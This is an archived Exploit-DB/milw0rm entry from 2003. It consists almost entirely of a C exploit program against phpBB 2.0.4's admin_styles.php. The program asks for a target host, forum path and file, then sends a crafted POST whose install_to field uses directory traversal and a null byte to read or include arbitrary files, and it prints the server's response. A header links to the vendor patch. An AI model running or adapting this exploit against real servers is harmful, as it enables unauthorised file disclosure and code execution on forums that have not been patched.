Exploit-DB #47
Description: phpBB 2.0.4 - PHP Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-06-30
Author: Spoofed

Exploit:
/***********************************************************/
/* phpBB 2.0.4 Remote Admin_Styles.PHP Theme_Info.CFG File Include  */
/*                                                                                                    */
/*                Exploit made on June 2003 by Spoofed Existence               */
/*                                                                                                    */
/*       Patch : http://www.phpbb.com/phpBB/viewtopic.php?t=113826      */
/***********************************************************/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

int main()
{
 //The socket stuff
 struct hostent *hp;
 struct sockaddr_in sa;
 int sock;

 //The input stuff
 char server[100];
 char location[100];
 char sfile[100];
 int escapes;
 char* file;

 //The request stuff
 char* request;
 char* postdata;
 char* header;

 //The buffer to store the response
 char buffer[4096];
 int tworeturns = 0;
 int showing = 0;

 //Other
 int i;

 //Ask the server
 printf("Server: ");
 scanf("%100s", server);
 printf("Forum location: ");
 scanf("%100s", location);
 printf("Directories to escape: ");
 scanf("%i", &escapes);
 printf("File to get/execute: ");
 scanf("%100s", sfile);


 //Start the exploit!
 printf("\n\nStarting the exploit...\n");

 //Connect to the server
 printf("Creating socket... ");
 if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
 {
  printf("Failed!\n");
  return 0;
 } else{ printf("Done!\n");
 }


 printf("Looking up server IP... ");
 if((hp = gethostbyname((char*)server)) == NULL)
 {
  printf("Failed!\n");
  return 0;
 } else { printf("Done!\n");
 }


 printf("Connecting %s:80... ", server);
 memcpy(&sa.sin_addr, hp->h_addr_list[0], hp->h_length);
 sa.sin_family = AF_INET;
 sa.sin_port = htons(80);
 if(connect(sock, (struct sockaddr*)&sa, sizeof(sa)))
 {
  printf("Failed!\n");
  return 0;
 } else { printf("Done!\n");
 }


 //Create the request
 printf("Building request... ");

 //Create the postdata
 file = (char*)malloc(sizeof(char) * (escapes * 3 + strlen(sfile) + 1));

 while(escapes > 0)
 {
  if(escapes == 1)
  {
   sprintf(file, "%s%s%s", file, "..", sfile);
  } else { sprintf(file, "%s%s", file, "../");
  }

  escapes --;
 }

 postdata = (char*)malloc((27 + strlen(file)) * sizeof(char));
 sprintf(postdata, "send_file= &install_to=%s%s00", file, "%");

 header = (char*)malloc((170 + strlen(server) + strlen(location)) *
sizeof(char));
 sprintf(header, "POST /%s/admin/admin_styles.php?mode=addnew
HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nHost:
%s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n", location, server,
strlen(postdata));

 request = (char*)malloc((strlen(postdata) + strlen(header) + 1) *
sizeof(char));
 sprintf(request, "%s%s", header, postdata);

 printf("Done!\n");


 //Send the request
 printf("Sending request... ");
 write(sock, request, strlen(request));
 printf("Done!\n");

 printf("\nResponse:\n");
 //Get the response
 while(recv(sock, buffer, 4096, 0) != 0)
 {
  for(i = 0; i < strlen(buffer); i++)
  {
   //Only show the character when it should
   if(showing == 1)
   {
    printf("%c", buffer[ i ]);
   }


   //Stop showing from \n<br>\n
   if(buffer[ i ] == '\n' && buffer[i + 1] == '<' && buffer[i + 2] == 'b' &&
buffer[i + 3] == 'r' && buffer[i + 4] == '>' && buffer[i + 5] == '\n' &&
showing == 1)
   {
    showing = 0;
    tworeturns = 0;
   }
   //Or from \n<br />\n
   if(buffer[ i ] == '\n' && buffer[i + 1] == '<' && buffer[i + 2] == 'b' &&
buffer[i + 3] == 'r' && buffer[i + 4] == ' ' && buffer[i + 5] == '/' &&
buffer[i + 6] == '>' && buffer[i + 7] == '\n' && showing == 1)
   {
    showing = 0;
    tworeturns = 0;
   }

   //If there's a return and tworeturns = true, start showing it
   if(buffer[ i ] == '\n' && tworeturns == 1)
   {
    showing = 1;
   }

   //If there are two returns, set tworeturns to true and add 3 to i
   if(buffer[ i ] == '\r' && buffer[i + 1] == '\n' && buffer[i + 2] == '\r'
&& buffer[i + 3] == '\n')
   {
    tworeturns = 1;
    i += 3;
   }
  }
 }
 printf("\n");

 return 0;
}

// milw0rm.com [2003-06-30]